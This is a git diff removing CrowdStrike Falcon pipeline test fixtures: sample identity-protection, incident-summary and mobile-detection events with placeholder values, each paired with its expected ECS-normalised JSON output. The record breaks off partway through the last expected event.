b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log deleted file mode 100644 index 8c51652f04..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log +++ /dev/null @@ -1,26 +0,0 @@ -{ - "metadata": { - "customerIDString": "3426316453426234", - "offset": 2664264, - "eventType": "IdentityProtectionEvent", - "eventCreationTime": 1686891836581, - "version": "1.0" - }, - "event": { - "IncidentType": "UNUSUAL_ENDPOINT_USE", - "IncidentDescription": "User seen coming from a location that deviates from their baseline.", - "Severity": 1, - "SeverityName": "INFO", - "StartTime": 1686891836383, - "EndTime": 1686891836553, - "IdentityProtectionIncidentId": "INC-123", - "UserName": "TESTUSER", - "EndpointName": "TESTHOSTNAME", - "EndpointIp": "89.160.20.112", - "Category": "Incidents", - "NumbersOfAlerts": 1, - "NumberOfCompromisedEntities": 1, - "State": "NEW", - "FalconHostLink": "https://falcon.crowdstrike.com/identity-protection/incidents/INC-123" - } -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json deleted file mode 100644 index 286f1e441e..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json +++ /dev/null @@ -1,65 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2023-06-16T05:03:56.383Z", - "crowdstrike": { - "event": { - "Category": "Incidents", - "NumberOfCompromisedEntities": 1, - "NumbersOfAlerts": 1, - "Severity": 1, - "SeverityName": "INFO", - "State": "NEW" - }, - "metadata": { - "customerIDString": "3426316453426234", - "eventType": "IdentityProtectionEvent", - "offset": 2664264, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "UNUSUAL_ENDPOINT_USE", - "category": [ - "iam" - ], - "created": "2023-06-16T05:03:56.581Z", - "end": "2023-06-16T05:03:56.553Z", - "id": "INC-123", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"3426316453426234\",\n \"offset\": 2664264,\n \"eventType\": \"IdentityProtectionEvent\",\n \"eventCreationTime\": 1686891836581,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"IncidentType\": \"UNUSUAL_ENDPOINT_USE\",\n \"IncidentDescription\": \"User seen coming from a location that deviates from their baseline.\",\n \"Severity\": 1,\n \"SeverityName\": \"INFO\",\n \"StartTime\": 1686891836383,\n \"EndTime\": 1686891836553,\n \"IdentityProtectionIncidentId\": \"INC-123\",\n \"UserName\": \"TESTUSER\",\n \"EndpointName\": \"TESTHOSTNAME\",\n \"EndpointIp\": \"89.160.20.112\",\n \"Category\": \"Incidents\",\n \"NumbersOfAlerts\": 1,\n \"NumberOfCompromisedEntities\": 1,\n \"State\": \"NEW\",\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/identity-protection/incidents/INC-123\"\n }\n}", - "reference": "https://falcon.crowdstrike.com/identity-protection/incidents/INC-123", - "severity": 21, - "start": "2023-06-16T05:03:56.383Z", - "type": [ - "info" - ] - }, - "host": { - "hostname": "TESTHOSTNAME", - "ip": [ - "89.160.20.112" - ] - }, - "message": "User seen coming from a location that deviates from their baseline.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "user": [ - "TESTUSER" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "TESTUSER" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log deleted file mode 100644 index 0babda0a98..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log +++ /dev/null @@ -1,25 +0,0 @@ -{ - "metadata": { - "customerIDString": "123123abcd", - "offset": 2, - "eventType": "IncidentSummaryEvent", - "eventCreationTime": 1686845212400, - "version": "1.0" - }, - "event": { - "IncidentStartTime": 1685844891, - "IncidentEndTime": 1685844892, - "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID", - "State": "open", - "FineScore": 0.5, - "LateralMovement": 0, - "IncidentType": 1, - "IncidentID": "inc:123:abc", - "HostID": "TESTHOSTID", - "LMHostIDs": [ - "TESTHOSTID1", - "TESTHOSTID2" - ], - "UserId": "first.last@company.com" - } -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json deleted file mode 100644 index 6f665874ac..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json +++ /dev/null @@ -1,67 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2023-06-15T16:06:52.400Z", - "crowdstrike": { - "event": { - "FineScore": 0.5, - "IncidentType": "1", - "LMHostIDs": [ - "TESTHOSTID1", - "TESTHOSTID2" - ], - "State": "open" - }, - "metadata": { - "customerIDString": "123123abcd", - "eventType": "IncidentSummaryEvent", - "offset": 2, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "incident" - ], - "category": [ - "malware" - ], - "created": "2023-06-15T16:06:52.400Z", - "end": "2023-06-04T02:14:52.000Z", - "id": "inc:123:abc", - "kind": "alert", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"123123abcd\",\n \"offset\": 2,\n \"eventType\": \"IncidentSummaryEvent\",\n \"eventCreationTime\": 1686845212400,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"IncidentStartTime\": 1685844891,\n \"IncidentEndTime\": 1685844892,\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID\",\n \"State\": \"open\",\n \"FineScore\": 0.5,\n \"LateralMovement\": 0,\n \"IncidentType\": 1,\n \"IncidentID\": \"inc:123:abc\",\n \"HostID\": \"TESTHOSTID\",\n \"LMHostIDs\": [\n \"TESTHOSTID1\",\n \"TESTHOSTID2\"\n ],\n \"UserId\": \"first.last@company.com\"\n }\n}", - "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID", - "start": "2023-06-04T02:14:51.000Z", - "type": [ - "info" - ] - }, - "host": { - "id": "TESTHOSTID" - }, - "message": "Incident score 0.5", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "user": [ - "first.last", - "first.last@company.com" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "first.last@company.com", - "name": "first.last" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log deleted file mode 100644 index 50ca9b4e77..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log +++ /dev/null @@ -1,75 +0,0 @@ -{ - "metadata": { - "customerIDString": "12312312312312321", - "offset": 2662765, - "eventType": "IdpDetectionSummaryEvent", - "eventCreationTime": 1686848064000, - "version": "1.0" - }, - "event": { - "ContextTimeStamp": 133221234560000000, - "DetectId": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000", - "DetectName": "Unusual login to an endpoint", - "DetectDescription": "A user logged in to a machine for the first time", - "FalconHostLink": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012", - "StartTime": 123456789000000000, - "EndTime": 123456789000000000, - "Severity": 7, - "Tactic": "Initial Access", - "Technique": "Valid Accounts", - "Objective": "Gain Access", - "SourceAccountDomain": "DOMAIN.COM", - "SourceAccountName": "johnb", - "SourceAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888", - "SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000", - "SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888", - "SourceEndpointHostName": "pc01.domain.com", - "SourceEndpointIpAddress": "81.2.69.144", - "SourceEndpointSensorId": "12345678901234567890123456789012", - "PrecedingActivityTimeStamp": 133154452345780000, - "MostRecentActivityTimeStamp": 133313215755670000, - "ActivityId": "12345678-1234-1234-1234-123456789000", - "PatternId": 51135 - } -} -{ - "metadata": { - "customerIDString": "12312312312312321", - "offset": 2662765, - "eventType": "IdpDetectionSummaryEvent", - "eventCreationTime": 1686848064000, - "version": "1.0" - }, - "event": { - "ContextTimeStamp": 133221234560000000, - "DetectId": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000", - "DetectName": "Unusual login to an endpoint", - "DetectDescription": "A user logged in to a machine for the first time", - "FalconHostLink": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012", - "StartTime": 123456789000000000, - "EndTime": 123456789000000000, - "Severity": 7, - "Tactic": "Initial Access", - "Technique": "Valid Accounts", - "Objective": "Gain Access", - "SourceAccountDomain": "DOMAIN.COM", - "SourceAccountName": "johnb", - "SourceAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888", - "SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000", - "SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888", - "SourceEndpointHostName": "pc01.domain.com", - "SourceEndpointIpAddress": "81.2.69.144", - "SourceEndpointSensorId": "12345678901234567890123456789012", - "PrecedingActivityTimeStamp": 133154452345780000, - "MostRecentActivityTimeStamp": 133313215755670000, - "ActivityId": "12345678-1234-1234-1234-123456789000", - "PatternId": 51135, - "MitreAttack": [ - { - "Tactic": "Initial Access", - "Technique": "Valid Accounts", - "PatternID": 51135 - } - ] - } -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json deleted file mode 100644 index e2d1d49c31..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json +++ /dev/null @@ -1,181 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2023-06-15T16:54:24.000Z", - "crowdstrike": { - "event": { - "ActivityId": "12345678-1234-1234-1234-123456789000", - "MostRecentActivityTimeStamp": 1686847975567, - "Objective": "Gain Access", - "PatternId": "51135", - "PrecedingActivityTimeStamp": 1670971634578, - "Severity": 7, - "SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000", - "SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888", - "SourceEndpointSensorId": "12345678901234567890123456789012" - }, - "metadata": { - "customerIDString": "12312312312312321", - "eventType": "IdpDetectionSummaryEvent", - "offset": 2662765, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "ipd-detection", - "category": [ - "malware" - ], - "created": "2023-03-01T05:50:56.000Z", - "end": "1992-03-21T19:15:00.000Z", - "kind": "alert", - "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"12312312312312321\",\n\t\t\"offset\": 2662765,\n\t\t\"eventType\": \"IdpDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1686848064000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"ContextTimeStamp\": 133221234560000000,\n\t\t\"DetectId\": \"12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000\",\n\t\t\"DetectName\": \"Unusual login to an endpoint\",\n\t\t\"DetectDescription\": \"A user logged in to a machine for the first time\",\n\t\t\"FalconHostLink\": \"https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012\",\n\t\t\"StartTime\": 123456789000000000,\n\t\t\"EndTime\": 123456789000000000,\n\t\t\"Severity\": 7,\n\t\t\"Tactic\": \"Initial Access\",\n\t\t\"Technique\": \"Valid Accounts\",\n\t\t\"Objective\": \"Gain Access\",\n\t\t\"SourceAccountDomain\": \"DOMAIN.COM\",\n\t\t\"SourceAccountName\": \"johnb\",\n\t\t\"SourceAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointAccountObjectGuid\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"SourceEndpointAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointHostName\": \"pc01.domain.com\",\n\t\t\"SourceEndpointIpAddress\": \"81.2.69.144\",\n\t\t\"SourceEndpointSensorId\": \"12345678901234567890123456789012\",\n\t\t\"PrecedingActivityTimeStamp\": 133154452345780000,\n\t\t\"MostRecentActivityTimeStamp\": 133313215755670000,\n\t\t\"ActivityId\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"PatternId\": 51135\n\t}\n}", - "reference": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012", - "start": "1992-03-21T19:15:00.000Z", - "type": [ - "info" - ] - }, - "host": { - "ip": [ - "81.2.69.144" - ], - "name": "pc01.domain.com" - }, - "message": "A user logged in to a machine for the first time", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "pc01.domain.com" - ], - "user": [ - "johnb" - ] - }, - "rule": { - "description": "A user logged in to a machine for the first time", - "id": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000", - "name": "Unusual login to an endpoint", - "uuid": "51135" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "tactic": { - "name": [ - "Initial Access" - ] - }, - "technique": { - "name": [ - "Valid Accounts" - ] - } - }, - "user": { - "domain": "DOMAIN.COM", - "id": "S-1-3-44-55555555-666666666-7777777777-88888", - "name": "johnb" - } - }, - { - "@timestamp": "2023-06-15T16:54:24.000Z", - "crowdstrike": { - "event": { - "ActivityId": "12345678-1234-1234-1234-123456789000", - "MitreAttack": [ - { - "PatternID": "51135", - "Tactic": "Initial Access", - "Technique": "Valid Accounts" - } - ], - "MostRecentActivityTimeStamp": 1686847975567, - "Objective": "Gain Access", - "PatternId": "51135", - "PrecedingActivityTimeStamp": 1670971634578, - "Severity": 7, - "SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000", - "SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888", - "SourceEndpointSensorId": "12345678901234567890123456789012" - }, - "metadata": { - "customerIDString": "12312312312312321", - "eventType": "IdpDetectionSummaryEvent", - "offset": 2662765, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "ipd-detection", - "category": [ - "malware" - ], - "created": "2023-03-01T05:50:56.000Z", - "end": "1992-03-21T19:15:00.000Z", - "kind": "alert", - "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"12312312312312321\",\n\t\t\"offset\": 2662765,\n\t\t\"eventType\": \"IdpDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1686848064000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"ContextTimeStamp\": 133221234560000000,\n\t\t\"DetectId\": \"12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000\",\n\t\t\"DetectName\": \"Unusual login to an endpoint\",\n\t\t\"DetectDescription\": \"A user logged in to a machine for the first time\",\n\t\t\"FalconHostLink\": \"https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012\",\n\t\t\"StartTime\": 123456789000000000,\n\t\t\"EndTime\": 123456789000000000,\n\t\t\"Severity\": 7,\n\t\t\"Tactic\": \"Initial Access\",\n\t\t\"Technique\": \"Valid Accounts\",\n\t\t\"Objective\": \"Gain Access\",\n\t\t\"SourceAccountDomain\": \"DOMAIN.COM\",\n\t\t\"SourceAccountName\": \"johnb\",\n\t\t\"SourceAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointAccountObjectGuid\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"SourceEndpointAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointHostName\": \"pc01.domain.com\",\n\t\t\"SourceEndpointIpAddress\": \"81.2.69.144\",\n\t\t\"SourceEndpointSensorId\": \"12345678901234567890123456789012\",\n\t\t\"PrecedingActivityTimeStamp\": 133154452345780000,\n\t\t\"MostRecentActivityTimeStamp\": 133313215755670000,\n\t\t\"ActivityId\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"PatternId\": 51135,\n\t\t\"MitreAttack\": [\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Initial Access\",\n\t\t\t\t\"Technique\": \"Valid Accounts\",\n\t\t\t\t\"PatternID\": 51135\n\t\t\t}\n\t\t]\n\t}\n}", - "reference": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012", - "start": "1992-03-21T19:15:00.000Z", - "type": [ - "info" - ] - }, - "host": { - "ip": [ - "81.2.69.144" - ], - "name": "pc01.domain.com" - }, - "message": "A user logged in to a machine for the first time", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "pc01.domain.com" - ], - "user": [ - "johnb" - ] - }, - "rule": { - "description": "A user logged in to a machine for the first time", - "id": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000", - "name": "Unusual login to an endpoint", - "uuid": "51135" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "tactic": { - "name": [ - "Initial Access" - ] - }, - "technique": { - "name": [ - "Valid Accounts" - ] - } - }, - "user": { - "domain": "DOMAIN.COM", - "id": "S-1-3-44-55555555-666666666-7777777777-88888", - "name": "johnb" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log deleted file mode 100644 index 9a5d1e9499..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log +++ /dev/null @@ -1,80 +0,0 @@ -{ - "metadata": { - "customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV", - "offset": 701283, - "eventType": "MobileDetectionSummaryEvent", - "eventCreationTime": 1649420269000, - "version": "1.0" - }, - "event": { - "SensorId": "85ae98xxxxxxd9a8f2", - "MobileDetectionId": 1310556238, - "ComputerName": "TESTComputer", - "UserName": "TestUSER", - "ContextTimeStamp": 1649061056, - "DetectId": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238", - "DetectName": "AppSideloadDetected", - "DetectDescription": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ", - "Tactic": "Insecure security posture", - "TacticId": "CSTA0009", - "Technique": "Bad device settings", - "TechniqueId": "CST0024", - "Objective": "Falcon Detection Method", - "Severity": 50, - "FalconHostLink": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV", - "MobileAppsDetails": [{ - "AppIdentifier": "com.facebook.katana", - "AndroidAppLabel": "Facebook", - "DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789", - "ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk", - "AppInstallerInformation": "unknown", - "IsBeingDebugged": false, - "AndroidAppVersionName": "323.0.0.46.119", - "IsContainerized": false - }] - } -} -{ - "metadata": { - "customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV", - "offset": 701283, - "eventType": "MobileDetectionSummaryEvent", - "eventCreationTime": 1649420269000, - "version": "1.0" - }, - "event": { - "SensorId": "85ae98xxxxxxd9a8f2", - "MobileDetectionId": 1310556238, - "ComputerName": "TESTComputer", - "UserName": "TestUSER", - "ContextTimeStamp": 1649061056, - "DetectId": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238", - "DetectName": "AppSideloadDetected", - "DetectDescription": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ", - "Tactic": "Insecure security posture", - "TacticId": "CSTA0009", - "Technique": "Bad device settings", - "TechniqueId": "CST0024", - "Objective": "Falcon Detection Method", - "Severity": 50, - "FalconHostLink": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV", - "MitreAttack": [ - { - "Tactic": "Insecure security posture", - "TacticID": "CSTA0009", - "Technique": "Bad device settings", - "TechniqueID": "CST0024" - } - ], - "MobileAppsDetails": [{ - "AppIdentifier": "com.facebook.katana", - "AndroidAppLabel": "Facebook", - "DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789", - "ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk", - "AppInstallerInformation": "unknown", - "IsBeingDebugged": false, - "AndroidAppVersionName": "323.0.0.46.119", - "IsContainerized": false - }] - } -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json deleted file mode 100644 index d9f92bfbdc..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json +++ /dev/null @@ -1,196 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2022-04-08T12:17:49.000Z", - "crowdstrike": { - "event": { - "MobileAppsDetails": [ - { - "AndroidAppLabel": "Facebook", - "AndroidAppVersionName": "323.0.0.46.119", - "AppIdentifier": "com.facebook.katana", - "AppInstallerInformation": "unknown", - "DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789", - "ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk", - "IsBeingDebugged": false, - "IsContainerized": false - } - ], - "Objective": "Falcon Detection Method", - "Severity": 50 - }, - "metadata": { - "customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV", - "eventType": "MobileDetectionSummaryEvent", - "offset": 701283, - "version": "1.0" - } - }, - "device": { - "id": "85ae98xxxxxxd9a8f2" - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "mobile-detection", - "category": [ - "malware" - ], - "created": "2022-04-04T08:30:56.000Z", - "id": "1310556238", - "kind": "alert", - "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"offset\": 701283,\n\t\t\"eventType\": \"MobileDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1649420269000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"SensorId\": \"85ae98xxxxxxd9a8f2\",\n\t\t\"MobileDetectionId\": 1310556238,\n\t\t\"ComputerName\": \"TESTComputer\",\n\t\t\"UserName\": \"TestUSER\",\n\t\t\"ContextTimeStamp\": 1649061056,\n\t\t\"DetectId\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238\",\n\t\t\"DetectName\": \"AppSideloadDetected\",\n\t\t\"DetectDescription\": \"Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. \",\n\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\"TacticId\": \"CSTA0009\",\n\t\t\"Technique\": \"Bad device settings\",\n\t\t\"TechniqueId\": \"CST0024\",\n\t\t\"Objective\": \"Falcon Detection Method\",\n\t\t\"Severity\": 50,\n\t\t\"FalconHostLink\": \"https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"MobileAppsDetails\": [{\n\t\t\t\"AppIdentifier\": \"com.facebook.katana\",\n\t\t\t\"AndroidAppLabel\": \"Facebook\",\n\t\t\t\"DexFileHashes\": \"abc456xxxxxxxxxxxxxxxxdef789\",\n\t\t\t\"ImageFileName\": \"/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk\",\n\t\t\t\"AppInstallerInformation\": \"unknown\",\n\t\t\t\"IsBeingDebugged\": false,\n\t\t\t\"AndroidAppVersionName\": \"323.0.0.46.119\",\n\t\t\t\"IsContainerized\": false\n\t\t}]\n\t}\n}", - "reference": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV", - "type": [ - "info" - ] - }, - "host": { - "name": "TESTComputer" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "TESTComputer" - ], - "user": [ - "TestUSER" - ] - }, - "rule": { - "description": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ", - "id": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238", - "name": "AppSideloadDetected" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "id": [ - "CSTA0009" - ], - "name": [ - "Insecure security posture" - ] - }, - "technique": { - "id": [ - "CST0024" - ], - "name": [ - "Bad device settings" - ] - } - }, - "user": { - "name": "TestUSER" - } - }, - { - "@timestamp": "2022-04-08T12:17:49.000Z", - "crowdstrike": { - "event": { - "MitreAttack": [ - { - "Tactic": "Insecure security posture", - "TacticID": "CSTA0009", - "Technique": "Bad device settings", - "TechniqueID": "CST0024" - } - ], - "MobileAppsDetails": [ - { - "AndroidAppLabel": "Facebook", - "AndroidAppVersionName": "323.0.0.46.119", - "AppIdentifier": "com.facebook.katana", - "AppInstallerInformation": "unknown", - "DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789", - "ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk", - "IsBeingDebugged": false, - "IsContainerized": false - } - ], - "Objective": "Falcon Detection Method", - "Severity": 50 - }, - "metadata": { - "customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV", - "eventType": "MobileDetectionSummaryEvent", - "offset": 701283, - "version": "1.0" - } - }, - "device": { - "id": "85ae98xxxxxxd9a8f2" - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "mobile-detection", - "category": [ - "malware" - ], - "created": "2022-04-04T08:30:56.000Z", - "id": "1310556238", - "kind": "alert", - "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"offset\": 701283,\n\t\t\"eventType\": \"MobileDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1649420269000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"SensorId\": \"85ae98xxxxxxd9a8f2\",\n\t\t\"MobileDetectionId\": 1310556238,\n\t\t\"ComputerName\": \"TESTComputer\",\n\t\t\"UserName\": \"TestUSER\",\n\t\t\"ContextTimeStamp\": 1649061056,\n\t\t\"DetectId\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238\",\n\t\t\"DetectName\": \"AppSideloadDetected\",\n\t\t\"DetectDescription\": \"Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. \",\n\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\"TacticId\": \"CSTA0009\",\n\t\t\"Technique\": \"Bad device settings\",\n\t\t\"TechniqueId\": \"CST0024\",\n\t\t\"Objective\": \"Falcon Detection Method\",\n\t\t\"Severity\": 50,\n\t\t\"FalconHostLink\": 